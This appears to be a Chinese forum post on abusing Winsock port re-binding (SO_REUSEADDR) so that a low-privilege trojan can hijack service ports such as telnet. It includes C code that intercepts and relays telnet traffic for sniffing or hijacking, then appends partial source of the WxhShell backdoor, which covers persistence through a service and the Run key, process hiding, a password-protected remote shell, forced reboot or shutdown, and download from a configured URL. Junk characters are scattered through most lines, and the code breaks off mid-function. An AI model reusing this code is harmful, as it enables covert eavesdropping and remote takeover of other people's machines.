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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W4~:3 Sk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yC]X&1,:z  
G 0;5I_D/  
  saddr.sin_family = AF_INET; dy%#E2f  
Ysz&/ry  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ApxGrCu  
lYq4f|5H}m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R<jt$--H  
}+4^ZbX+:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1EvK\  
E Z}c8b  
  这意味着什么?意味着可以进行如下的攻击: qvH7otA  
0+P<1ui  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >u:t2DxE  
mgxoM|n6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ufekhj  
 mOkf   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3j iSvrfI  
]d|:&h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bEJz>oyW"  
uYv"5U]MFv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?-`G0(  
toCxY+"nbU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sw'?&:<"Ow  
0[qU k(=}[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s;'j n_,0  
"A6T'nOP  
  #include ] _WB^  
  #include 6.!Cm$l  
  #include cnR.J  
  #include    Qwm#6{5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;/Z9M"!u[  
  int main() `Y~EL?  
  { }I1SC7gY  
  WORD wVersionRequested; RS>;$O_(M  
  DWORD ret; v0yaFP#kG  
  WSADATA wsaData; Uz`K#Bz   
  BOOL val; NBUSr}8|  
  SOCKADDR_IN saddr; _*I@ J/  
  SOCKADDR_IN scaddr; Uczb"k5  
  int err; _*SA_.0  
  SOCKET s; Gw/imXL  
  SOCKET sc; !6UtwCVR  
  int caddsize; 5g{F-  
  HANDLE mt; :bhpYEUMx  
  DWORD tid;   ^K#PcPF-j  
  wVersionRequested = MAKEWORD( 2, 2 ); t'@qb~sf  
  err = WSAStartup( wVersionRequested, &wsaData ); I-QaR  
  if ( err != 0 ) { q-g3!  
  printf("error!WSAStartup failed!\n"); +x3T^G  
  return -1; Sj$XRkbj:  
  } Uo!#p'<w)p  
  saddr.sin_family = AF_INET; H|1owmbD  
   I}#_Jt3R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5gPcsn"D  
fJb<<6C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Nl3@i`;  
  saddr.sin_port = htons(23); ~ "^]\3#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5f:Mb|. ?  
  { }CiB+  
  printf("error!socket failed!\n"); me+F0:L  
  return -1; y3]7^+k  
  } )L*6xTa~  
  val = TRUE; {PXN$p:'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GtCbzNY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]5+db0  
  { lm?1 K:+[  
  printf("error!setsockopt failed!\n"); L|7F%oR  
  return -1; Q!%4Iq%jr  
  } "t-u=aDl-.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b#:Pl`n6u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }E\ b_.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p@H3NX  
H WOl79-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !f\q0Gnl  
  { SA| AS<  
  ret=GetLastError(); N6"b Ox J(  
  printf("error!bind failed!\n"); f xWW "B*A  
  return -1; 0'giAA  
  } %V>Ss9;/8  
  listen(s,2); NDJIaX:]  
  while(1) iBq|]  
  { PhHBmM GL  
  caddsize = sizeof(scaddr); SD"'  
  //接受连接请求 7>Af"1$g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u*I=.  
  if(sc!=INVALID_SOCKET) TV~ <1vj  
  { s)=fs#%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x:h0/f  
  if(mt==NULL) D5wy7`c  
  { kj o,?$r %  
  printf("Thread Creat Failed!\n"); A/XY' 3  
  break; @A_bZQ@  
  } {Lex((  
  } mG? g  
  CloseHandle(mt); w"Q6'/P  
  } JMMT886  
  closesocket(s); U4J9b p|  
  WSACleanup(); |mSFa8G@  
  return 0; /kl41gx  
  }   gD"]uj<  
  DWORD WINAPI ClientThread(LPVOID lpParam) R. sRH/6  
  { {9tKq--@E9  
  SOCKET ss = (SOCKET)lpParam; 2;Ij~~  
  SOCKET sc; %_rdO(   
  unsigned char buf[4096]; @l7~Zn  
  SOCKADDR_IN saddr; HA?<j|M  
  long num; b h%@Lo  
  DWORD val; 7~2b4"&  
  DWORD ret; (vq0Gl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tgy= .o]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I Xm}WTgF!  
  saddr.sin_family = AF_INET; G@YX8!w U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V &K:~[M  
  saddr.sin_port = htons(23); Ow0-}Im~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Na*7|  
  { 4z^ ?3@:K  
  printf("error!socket failed!\n"); Z /#&c  
  return -1; v99gI%TA'  
  } .?L&k|wX-  
  val = 100; .eg?FB'7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d|^cKLu  
  { $\S;f"IM.  
  ret = GetLastError(); .AIlv^:|U  
  return -1; 5pF4{Jd1  
  } O]"3o,/]G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (;f7/2~`  
  { :ET05MFs\#  
  ret = GetLastError(); cR/-FR  
  return -1; K,uTO7Mk[  
  } mVJW"*}8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DAZzc :1Aj  
  { IFrq\H0  
  printf("error!socket connect failed!\n"); %\5 wHT+)  
  closesocket(sc); 3#{{+5G  
  closesocket(ss); Q&zEa0^rG6  
  return -1; gnW]5#c@  
  } c-|~ABtEpX  
  while(1) huMNt6P[  
  { fOE8{O^W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X2X.&^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 So&an !  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zh5$$*\  
  num = recv(ss,buf,4096,0); J^}w,r *=  
  if(num>0) o5!"dxR  
  send(sc,buf,num,0); K4]42#  
  else if(num==0) Rgb1B3gu  
  break; {`2R<O  
  num = recv(sc,buf,4096,0); .T*K4m{b0  
  if(num>0) :6~DOvY  
  send(ss,buf,num,0); O}4(v#  
  else if(num==0) ~hubh!d=  
  break; OQ[E-%v1 R  
  } t7A '  
  closesocket(ss); KC+C?]~M  
  closesocket(sc); qTbY'V5A  
  return 0 ; 1ga-8&!  
  } ]:lqbg[J  
c,cc avv{I  
t`PA85.|d  
========================================================== ~i`@  
[@SLt$9"  
下边附上一个代码,,WXhSHELL 4dkU;Ob  
AJ0qq  
========================================================== ]_cBd)3P}  
YeN /J.R  
#include "stdafx.h" ttEQgkd`  
Y^zL}@  
#include <stdio.h> G k'j<a  
#include <string.h> <SiD m-=E  
#include <windows.h> 7@[3]c<=  
#include <winsock2.h> d>ltL`xn  
#include <winsvc.h> %9|}H [x  
#include <urlmon.h> p&B c<+3e  
Q o}&2m  
#pragma comment (lib, "Ws2_32.lib") e-$ U .cx  
#pragma comment (lib, "urlmon.lib") %+PWcCmn  
z93HTy9  
#define MAX_USER   100 // 最大客户端连接数 b`x7%?Qn  
#define BUF_SOCK   200 // sock buffer ('!{kVLT-  
#define KEY_BUFF   255 // 输入 buffer O>zPWVwa  
\ (y6o}aW  
#define REBOOT     0   // 重启 5O.dRp7d J  
#define SHUTDOWN   1   // 关机 <E2+P,Lgw  
4@,d{qp~  
#define DEF_PORT   5000 // 监听端口 Y{].%xM5  
|aH;@V  
#define REG_LEN     16   // 注册表键长度 j@4 yRl ^  
#define SVC_LEN     80   // NT服务名长度 ]Y#$!fIx  
txF)R[dZK  
// 从dll定义API `;[ j`v8O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JCjQR`)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uZsm=('ww  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UlBg6   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s?;rP,{:p  
b9M.p*!  
// wxhshell配置信息 2o0.ttBAqZ  
struct WSCFG { 0\ G`AO;D  
  int ws_port;         // 监听端口 V=<OV]0  
  char ws_passstr[REG_LEN]; // 口令 Q>\y%&df  
  int ws_autoins;       // 安装标记, 1=yes 0=no HGuY-f  
  char ws_regname[REG_LEN]; // 注册表键名 A;e[-5@  
  char ws_svcname[REG_LEN]; // 服务名 zCrDbGvqF`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @@L@r6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O34'c_ fZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C -@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -4P2 2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8 *@knkJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s1,kTde  
<8U qV.&  
}; *9"L?S(X#  
%@IZ41<C  
// default Wxhshell configuration ;p~&G"-C`  
struct WSCFG wscfg={DEF_PORT, eySV -f{  
    "xuhuanlingzhe", DKV^c'  
    1, #"}Z'|X*  
    "Wxhshell", F$ kLft[:  
    "Wxhshell", TGnyN'P|  
            "WxhShell Service", s>E u[ uA  
    "Wrsky Windows CmdShell Service", Dp:u!tdbeg  
    "Please Input Your Password: ", =}S*]Me5  
  1, O.7Q* ^_  
  "http://www.wrsky.com/wxhshell.exe", neQ2k=ao  
  "Wxhshell.exe" @Q:5{?  
    }; NTRw:'  
N2yxli  
// 消息定义模块 0- GA,I_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PV?XpT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {I s?>m4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v:s.V>{"S  
char *msg_ws_ext="\n\rExit."; QcyYTg4i  
char *msg_ws_end="\n\rQuit."; Nrl&"IK|J  
char *msg_ws_boot="\n\rReboot..."; nQ\ +Za==  
char *msg_ws_poff="\n\rShutdown..."; lQs|B '  
char *msg_ws_down="\n\rSave to "; te ?R(&  
@kR/=EfS  
char *msg_ws_err="\n\rErr!"; M[5zn  
char *msg_ws_ok="\n\rOK!"; <y${Pkrj  
ien >Ou  
char ExeFile[MAX_PATH]; ayfZ>x{s*  
int nUser = 0; o'.6gZ gk  
HANDLE handles[MAX_USER]; *&X.  
int OsIsNt; 6l|pTyb1  
Wc4K?3 ZM  
SERVICE_STATUS       serviceStatus; $M\[^g(q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vt`hY4  
- #]?3*NO  
// 函数声明 jd;=5(2  
int Install(void); F^ kH"u[  
int Uninstall(void); 1gp3A  
int DownloadFile(char *sURL, SOCKET wsh); YQ>P{I%J  
int Boot(int flag); ;I'pC?!y  
void HideProc(void); jKV,i?  
int GetOsVer(void); 7&G[mOx0  
int Wxhshell(SOCKET wsl); bK `'zi  
void TalkWithClient(void *cs); ]a|3"DP5  
int CmdShell(SOCKET sock); /ZAS%_as  
int StartFromService(void); -Z&6PT7  
int StartWxhshell(LPSTR lpCmdLine); #84pRU~  
t0Q/vp*/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~ei\~;n\@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4kO[|~#  
DJ"O`qNV3  
// 数据结构和表定义 >'#G$f  
SERVICE_TABLE_ENTRY DispatchTable[] = ehO@3%z30c  
{ (;=:QjaoZ  
{wscfg.ws_svcname, NTServiceMain}, T2# W=P  
{NULL, NULL} %-@`|  
}; (j-[m\wF  
L{$ZL&  
// 自我安装 >b;fhdd:4  
int Install(void) gBRhO^Sz  
{ )f4D2c&VE  
  char svExeFile[MAX_PATH]; {N+N4*  
  HKEY key; Vm]ltiTVk  
  strcpy(svExeFile,ExeFile); Yo:l@(  
8:,E=swe  
// 如果是win9x系统,修改注册表设为自启动 -A}*Aa'\  
if(!OsIsNt) { P/._ tQu6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y|!%C-P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xui${UYN  
  RegCloseKey(key); gkS#=bv9e@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yTw0\yiO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r@+IDW.=9  
  RegCloseKey(key); uAT01ZEm  
  return 0; ,)A^3Q*  
    } Fz7(Kuc  
  } [X:mmM0gd  
} ' pOtd7Vr  
else { yn<z!z%mz  
42LlR 0  
// 如果是NT以上系统,安装为系统服务 10 dVV[=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1E!0N`E  
if (schSCManager!=0) -}k'a{sj=  
{ lpkg( J#&  
  SC_HANDLE schService = CreateService 0j%@P[zQ  
  ( ZjLzS]\a  
  schSCManager, sqHv rI  
  wscfg.ws_svcname, e47JLW&b  
  wscfg.ws_svcdisp, le`&VdE^  
  SERVICE_ALL_ACCESS, ((rk)Q+;v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l|-1H76  
  SERVICE_AUTO_START, [w l:"rm  
  SERVICE_ERROR_NORMAL, .['@:}$1  
  svExeFile, K g&{ ?&  
  NULL, ~T<#HSR`  
  NULL, B+|E|8"  
  NULL, p8y_uN QE  
  NULL, /zn|?Y[  
  NULL PPT"?lt*&  
  ); )NZ6!3[@  
  if (schService!=0) %>'2E!%  
  { /h%<e  
  CloseServiceHandle(schService); v'*Q[ ('  
  CloseServiceHandle(schSCManager); vBsd.2t~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >x)YdgJ*  
  strcat(svExeFile,wscfg.ws_svcname); WMBntB   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <Fb3\T L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 70&v`"  
  RegCloseKey(key); 13Ga #  
  return 0; eN{[T PPCq  
    } yyh L]Uq"=  
  } 8%JxXtWW`  
  CloseServiceHandle(schSCManager); (5{|']G  
} IjN3 jU  
} ';??0M  
e;pVoRI  
return 1; hu\HK81m  
} bJe*J\){  
~c[} %Ir>  
// 自我卸载 _Jj/"?  
int Uninstall(void) qie7iE`o  
{ YE&"IH]lF  
  HKEY key; La? q>  
c;e-[F7  
if(!OsIsNt) { Ld? tVi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |x["fWK  
  RegDeleteValue(key,wscfg.ws_regname); =<(:5ive  
  RegCloseKey(key); 8):I< }s#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vJ>A >R CB  
  RegDeleteValue(key,wscfg.ws_regname); "^gZh3  
  RegCloseKey(key); !zL 1XW)q  
  return 0; bv0B  
  } -@i)2J_WP  
} 6BVV2j)zl:  
} .%`|vGF  
else { )7=B]{B_  
lDV8<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /dhx+K~  
if (schSCManager!=0) JU:!lyd  
{ WKX5Dl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cO<]%L0  
  if (schService!=0) 57IrD*{  
  { \v]}  
  if(DeleteService(schService)!=0) { wRb%-s  
  CloseServiceHandle(schService); 7CUu:6%  
  CloseServiceHandle(schSCManager); &/=>:ay+#  
  return 0; 7Upm  
  } YS,kjL/  
  CloseServiceHandle(schService); v83uGEq(  
  } shxr^   
  CloseServiceHandle(schSCManager); $/],QD_;"  
} O;f^' N  
} 3/:O8H  
0~A<AF*t  
return 1; UA{sUj+?  
} # j*$ `W;  
u1` 8f]qt  
// 从指定url下载文件 KpC)A5u6  
int DownloadFile(char *sURL, SOCKET wsh) \^;Gv%E  
{ Ql%7wrK  
  HRESULT hr; F^_d8=67h  
char seps[]= "/"; /V~L:0%  
char *token; P~ _CDh.N  
char *file; PTA;a 0A  
char myURL[MAX_PATH]; i2.y)K)  
char myFILE[MAX_PATH]; 2iI"|k9M  
og MLv}  
strcpy(myURL,sURL); a\vf{2  
  token=strtok(myURL,seps); CB_(9T72H  
  while(token!=NULL) :tdx:  
  { VbM5]UT/  
    file=token; Q6,rY(b6  
  token=strtok(NULL,seps); ]?-56c,  
  } T =3te|fv  
jp8=>mk  
GetCurrentDirectory(MAX_PATH,myFILE); m<8j' [+  
strcat(myFILE, "\\"); _XXK1H x  
strcat(myFILE, file); dVVeH\o  
  send(wsh,myFILE,strlen(myFILE),0); b-]E -$Uz  
send(wsh,"...",3,0); oHI~-{m3)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XZcsx  
  if(hr==S_OK) u A C:&  
return 0; h\'GL(?DBI  
else , 9|%  
return 1; :m5& i&  
)oTEB#J  
} Qat%<;P2  
FvG9PPd  
// 系统电源模块 "x9xJ  
int Boot(int flag) z:u`W#Rf  
{ <Ml,H%F  
  HANDLE hToken; T_Z@uZom.  
  TOKEN_PRIVILEGES tkp; _I~TpH^1K  
;07!^#:L=Q  
  if(OsIsNt) { R|V<2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G&D N'bp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E=~H,~  
    tkp.PrivilegeCount = 1; dr~MyQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GOJi/R.{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f*XF"@ZQV  
if(flag==REBOOT) { z$7YC49^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +Jt"JJ>%k  
  return 0; P(X#w  
} PC\Xm,,  
else { IS&`O= 7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Q!b%DIa$  
  return 0; hNDhee`%6  
} 8o-?Y.2  
  } ]~WP;o  
  else { :m#vvH  
if(flag==REBOOT) { MFW?m,It)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E>4#j PK  
  return 0; ,Lv} Xku  
} c::x.B"w  
else { Lom%eoH)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 32~Tf,  
  return 0; e"r}I!.  
} /lr RbZ  
} KG>.7xVWV7  
4c2P%X( C  
return 1; KNY<"b  
} |]GEJUWtCd  
}S#.Pw%  
// win9x进程隐藏模块 `}zv17wp  
void HideProc(void) Vaha--QB  
{ <ya'L&  
n:wn(BC3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T"QY@#E  
  if ( hKernel != NULL ) I,YGm  
  { ` t6lnO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Efp=z=E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1/cb;:h>  
    FreeLibrary(hKernel); P*aD2("Z  
  } EAY9~b6~c  
lg8~`96  
return; l$zNsf.  
} ,1~Zqprn  
//J:p,AF  
// 获取操作系统版本 ]G1j\wnF  
int GetOsVer(void) uFok'3!g7%  
{ @J r  
  OSVERSIONINFO winfo; <U~P-c tN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xje{ kx#  
  GetVersionEx(&winfo); yLDHJ}R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,7j`5iq[m  
  return 1;  fx;5j;  
  else r#Pd@SV  
  return 0; 20fCWVw}?}  
} fLD9RZ8_  
_eO]awsA  
// 客户端句柄模块 [w{ZP4d>  
int Wxhshell(SOCKET wsl) k&~vVx  
{ s &.Z;X  
  SOCKET wsh; il#rdJ1@t  
  struct sockaddr_in client; e<p$Op  
  DWORD myID; =pk'a_P 8-  
CC)9Ks\  
  while(nUser<MAX_USER) y.O? c &!  
{ rW`F|F%  
  int nSize=sizeof(client); UoLO#C0i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #e|eWi>  
  if(wsh==INVALID_SOCKET) return 1; Iewq?s\Fo  
wZC'BLD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~f@<]  
if(handles[nUser]==0) BMdr.0  
  closesocket(wsh); #t/Q4X +  
else 78.sf{I  
  nUser++; <5X@r#Lz  
  } ;8T<L[ ^U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .1pEq~>  
yr=r? h}  
  return 0; VKs\b-1  
} hV,3xrm?P  
*jJ62-o  
// 关闭 socket VLO>{"{'  
void CloseIt(SOCKET wsh) :?p{ga9  
{ +]>a`~   
closesocket(wsh); bkM$ Qo  
nUser--; z N t7DK  
ExitThread(0); /tUl(Fp J`  
} "~[Rwh?  
- a=yi d  
// 客户端请求句柄 %bimcRX#W  
void TalkWithClient(void *cs) h)<R#xw  
{ )ld7^G  
%/^d]#  
  SOCKET wsh=(SOCKET)cs; #>,cc?H-  
  char pwd[SVC_LEN]; 1z`,*eD7  
  char cmd[KEY_BUFF]; }UO,R~q~  
char chr[1]; `j(+Y  
int i,j; T2->  
$?s^HKF~  
  while (nUser < MAX_USER) { s{IoL_PJP  
aQG#bh [  
if(wscfg.ws_passstr) {  jPs+i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B@=Yj_s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C{ti>'"V  
  //ZeroMemory(pwd,KEY_BUFF); GmHsO/  
      i=0; |`okIqp  
  while(i<SVC_LEN) { 4ku/3/ 6  
ex=~l O  
  // 设置超时 =aekY;/  
  fd_set FdRead; H|!s.  
  struct timeval TimeOut; v]J# SlF  
  FD_ZERO(&FdRead); 7 dzE"m  
  FD_SET(wsh,&FdRead); [x)e6p)  
  TimeOut.tv_sec=8; OMZT\$9yT  
  TimeOut.tv_usec=0; 4tC_W!?$t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &Ch)SD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~mp$P+M(%p  
g\l;>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R#`itIYh  
  pwd=chr[0]; "a g_   
  if(chr[0]==0xd || chr[0]==0xa) { jgstx3  
  pwd=0; \1Bgs^  
  break; $W?XxgkB?  
  } nx4aGS"F:  
  i++; \fhT#/0N  
    } toWmm(7v  
ZX0c_Mk=  
  // 如果是非法用户,关闭 socket j{^(TE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p3S c4  
} [s/@z*,M1  
cDx^}N!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wk|z\OR(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w=`z!x![/  
l+6\U6_)B  
while(1) { l#"alU!<^  
Dr 1F|[  
  ZeroMemory(cmd,KEY_BUFF); yRYWx` G  
s]N-n?'G"  
      // 自动支持客户端 telnet标准   `[KhG)Y7t  
  j=0; TH|hrL;:8  
  while(j<KEY_BUFF) { e !yw"Cf*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [1*/lt|+p  
  cmd[j]=chr[0]; .#@Dn(  
  if(chr[0]==0xa || chr[0]==0xd) { R]Oy4U,f  
  cmd[j]=0; W'jXIO  
  break; ETOc4hMO  
  } [!le 9aNg  
  j++; jE#8&P~  
    } CwvNxH#LVu  
/RM-+D:Y  
  // 下载文件 W,~1KUTc  
  if(strstr(cmd,"http://")) { s2v*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k~#|8eLv  
  if(DownloadFile(cmd,wsh)) Q8x{V_Pot  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a%!XLyq  
  else ^{s0d+@{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Z2eQx jtM  
  } PR?clg=z  
  else { :#}`uR,D/  
[S:)UvB  
    switch(cmd[0]) { {*U:Wm<  
  cnthtv+(~  
  // 帮助 9ojhI=:  
  case '?': { }L!`K"^O&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JNaW> X$K  
    break; e_], O_ Z  
  } pCc7T-"og  
  // 安装 %B*dj9n^q  
  case 'i': { 2-0cB$W+  
    if(Install()) )^H9C"7T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aa>gN  
    else 1RbYPX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $0}bi:7  
    break; rbPs~C-[  
    } H4NEB1 TO>  
  // 卸载 =on!&M  
  case 'r': { GiXde}bm  
    if(Uninstall()) fZ}Y(TG/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %>2t=)T  
    else ?MM3LA! <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); df *#?Ok  
    break; .4> s2  
    } &.hRVW(  
  // 显示 wxhshell 所在路径 W_\L_)^X  
  case 'p': { J~3T8e#  
    char svExeFile[MAX_PATH]; (Fzh1#  
    strcpy(svExeFile,"\n\r"); lzG;F]  
      strcat(svExeFile,ExeFile); `HG19_Z  
        send(wsh,svExeFile,strlen(svExeFile),0); c)MR+'d\WO  
    break; ]Cn*C{  
    } [IFRwQ^%_O  
  // 重启 ;Ia1L{472m  
  case 'b': { HFuaoS+b*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %J7mZB9  
    if(Boot(REBOOT)) v8bl-9DQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xsDa!  
    else { <C%-IZv$  
    closesocket(wsh); (V.,~t@  
    ExitThread(0); ~88 Tz+  
    } %8CT -mQ  
    break;  \t# 9zn>  
    } }.UI&UZ-  
  // 关机 yVHlT  
  case 'd': { gvqd 1?0w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %K'*P56  
    if(Boot(SHUTDOWN)) m}[~A@qD  
